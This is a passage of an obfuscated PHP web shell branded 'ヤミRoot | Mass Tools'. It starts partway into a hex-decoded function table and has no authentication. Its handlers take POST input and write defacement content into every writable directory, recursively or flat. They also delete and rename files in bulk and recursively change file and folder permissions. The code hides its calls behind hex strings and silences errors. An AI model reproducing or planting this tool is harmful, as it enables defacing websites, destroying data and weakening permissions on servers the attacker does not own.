$v) { $f[$k] = hex2bin($v); } unset($k, $v);
// --- SETUP ---
$f[0](0);
$f[1]();
@$f[2]('output_buffering', 0);
@$f[2]('display_errors', 0);
$f[3]('Content-Type: text/html; charset=UTF-8');
$f[4]();
// --- CONFIG ---
$title = "ヤミRoot | Mass Tools";
$author = "0x6ick";
$theme_bg = "black";
$theme_fg = "#00FFFF";
$theme_border_color = "#00FFFF";
$message_success_color = "#00CCFF";
$message_error_color = "red";
// --- HELPERS ---
function redirect_with_message($msg_type = '', $msg_text = '', $tool = '') {
global $f;
$params = [];
if ($tool) $params['tool'] = $tool;
if ($msg_type) $params['msg_type'] = $msg_type;
if ($msg_text) $params['msg_text'] = $msg_text;
$f[3]("Location: ?" . $f[22]($params));
exit();
}
// --- TOOL FUNCTIONS ---
function mass_deface_recursive($dir, $file, $content, &$res) { global $f; if(!$f[26]($dir)) { $res .= "[FAIL] ".$f[28]($dir)." (Not writable)
"; return; } foreach($f[19]($dir) as $item) { if($item === '.' || $item === '..') continue; $lokasi = $dir.DIRECTORY_SEPARATOR.$item; if($f[17]($lokasi)) { if($f[26]($lokasi)) { $f[27]($lokasi.DIRECTORY_SEPARATOR.$file, $content); $res .= "[SUCCESS] ".$f[28]($lokasi.DIRECTORY_SEPARATOR.$file)."
"; mass_deface_recursive($lokasi, $file, $content, $res); } else { $res .= "[FAIL] ".$f[28]($lokasi)." (Not writable)
"; } } } }
function mass_deface_flat($dir, $file, $content, &$res) { global $f; if(!$f[26]($dir)) { $res .= "[FAIL] ".$f[28]($dir)." (Not writable)
"; return; } foreach($f[19]($dir) as $item) { if($item === '.' || $item === '..') continue; $lokasi = $dir.DIRECTORY_SEPARATOR.$item; if($f[17]($lokasi) && $f[26]($lokasi)) { $f[27]($lokasi.DIRECTORY_SEPARATOR.$file, $content); $res .= "[SUCCESS] ".$f[28]($lokasi.DIRECTORY_SEPARATOR.$file)."
"; } } }
function mass_delete_recursive($dir, $filename, &$res) { global $f; if(!$f[16]($dir)) return; foreach($f[19]($dir) as $item) { if($item === '.' || $item === '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; if($f[17]($path)) { mass_delete_recursive($path, $filename, $res); } else if ($item === $filename && $f[29]($path)) { if ($f[18]($path)) { $res .= "[SUCCESS] File deleted: ".$f[28]($path)."
"; } else { $res .= "[FAIL] Failed to delete: ".$f[28]($path)."
"; } } } }
function mass_delete_flat($dir, $filename, &$res) { global $f; if(!$f[16]($dir)) return; foreach($f[19]($dir) as $item) { if($item === '.' || $item === '..') continue; $path = $dir . DIRECTORY_SEPARATOR . $item; if ($item === $filename && $f[29]($path)) { if ($f[18]($path)) { $res .= "[SUCCESS] File deleted: ".$f[28]($path)."
"; } else { $res .= "[FAIL] Failed to delete: ".$f[28]($path)."
"; } } } }
function mass_rename_recursive($dir, $from, $to, &$res) { global $f; if(!$f[16]($dir)) return; foreach($f[19]($dir) as $item) { if($item === '.' || $item === '..') continue; $old_path = $dir . DIRECTORY_SEPARATOR . $item; if($f[17]($old_path)) { mass_rename_recursive($old_path, $from, $to, $res); } else if($f[29]($old_path) && $f[30]($item, $from) !== false) { $new_item = $f[25]($from, $to, $item); $new_path = $dir . DIRECTORY_SEPARATOR . $new_item; if($f[16]($new_path)) { $res .= "[SKIPPED] Destination file already exists: ".$f[28]($new_path)."
"; } else { if($f[31]($old_path, $new_path)) { $res .= "[SUCCESS] ".$f[28]($old_path)." -> ".$f[28]($new_path)."
"; } else { $res .= "[FAIL] Failed to rename: ".$f[28]($old_path)."
"; } } } } }
function mass_rename_flat($dir, $from, $to, &$res) { global $f; if(!$f[16]($dir)) return; foreach($f[19]($dir) as $item) { if($item === '.' || $item === '..') continue; $old_path = $dir . DIRECTORY_SEPARATOR . $item; if($f[29]($old_path) && $f[30]($item, $from) !== false) { $new_item = $f[25]($from, $to, $item); $new_path = $dir . DIRECTORY_SEPARATOR . $new_item; if($f[16]($new_path)) { $res .= "[SKIPPED] Destination file already exists: ".$f[28]($new_path)."
"; } else { if($f[31]($old_path, $new_path)) { $res .= "[SUCCESS] ".$f[28]($old_path)." -> ".$f[28]($new_path)."
"; } else { $res .= "[FAIL] Failed to rename: ".$f[28]($old_path)."
"; } } } } }
function mass_chmod_recursive($path, $file_perm, $dir_perm, &$res) { global $f; $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path), RecursiveIteratorIterator::SELF_FIRST); foreach($iterator as $item) { $current_path = $item->getPathname(); if ($item->isDir()) { if ($f[32]($current_path, $dir_perm)) { $res .= "[DIR OK] ".$f[28]($current_path)." -> ".sprintf('%o', $dir_perm)."
"; } else { $res .= "[DIR FAIL] Failed to chmod ".$f[28]($current_path)."
"; } } else { if ($f[32]($current_path, $file_perm)) { $res .= "[FILE OK] ".$f[28]($current_path)." -> ".sprintf('%o', $file_perm)."
"; } else { $res .= "[FILE FAIL] Failed to chmod ".$f[28]($current_path)."
"; } } } }
// --- ACTION HANDLERS ---
if(isset($_POST['start_mass_deface'])) { $mass_deface_results = ''; if($_POST['tipe_sabun'] == 'mahal') { mass_deface_recursive($_POST['d_dir'], $_POST['d_file'], $_POST['script_content'], $mass_deface_results); } else { mass_deface_flat($_POST['d_dir'], $_POST['d_file'], $_POST['script_content'], $mass_deface_results); } $_SESSION['feature_output'] = $mass_deface_results; redirect_with_message('success', 'Mass Deface Completed!', 'deface'); }
if(isset($_POST['start_mass_delete'])) { $mass_delete_results = ''; $target_filename = $_POST['target_filename']; if(empty($target_filename)) { redirect_with_message('error', 'Target filename cannot be empty!', 'delete'); } if($_POST['delete_type'] == 'recursive') { mass_delete_recursive($_POST['target_dir'], $target_filename, $mass_delete_results); } else { mass_delete_flat($_POST['target_dir'], $target_filename, $mass_delete_results); } $_SESSION['feature_output'] = $mass_delete_results; redirect_with_message('success', 'Mass Delete Completed!', 'delete'); }
if(isset($_POST['start_mass_rename'])) { $mass_rename_results = ''; $rename_from = $_POST['rename_from']; $rename_to = $_POST['rename_to']; if(empty($rename_from)) { redirect_with_message('error', 'Text to find cannot be empty!', 'rename'); } if($rename_from === $rename_to) { redirect_with_message('error', 'Old and new text cannot be the same!', 'rename'); } if($_POST['rename_type'] == 'recursive') { mass_rename_recursive($_POST['target_dir'], $rename_from, $rename_to, $mass_rename_results); } else { mass_rename_flat($_POST['target_dir'], $rename_from, $rename_to, $mass_rename_results); } $_SESSION['feature_output'] = $mass_rename_results; redirect_with_message('success', 'Mass Rename Completed!', 'rename'); }
if(isset($_POST['start_mass_chmod'])) { $mass_chmod_results = ''; $dir_perm = $f[33]($_POST['dir_perm']); $file_perm = $f[33]($_POST['file_perm']); mass_chmod_recursive($_POST['target_dir'], $file_perm, $dir_perm, $mass_chmod_results); $_SESSION['feature_output'] = $mass_chmod_results; redirect_with_message('success', 'Mass CHMOD Completed!', 'chmod'); }
$path = $f[24]();
$active_tool = isset($_GET['tool']) ? $_GET['tool'] : 'deface';
?>
'.$output.'
This tool will find files whose names contain the 'Old Text' and replace it with the 'New Text'.
Recursively change file & folder permissions.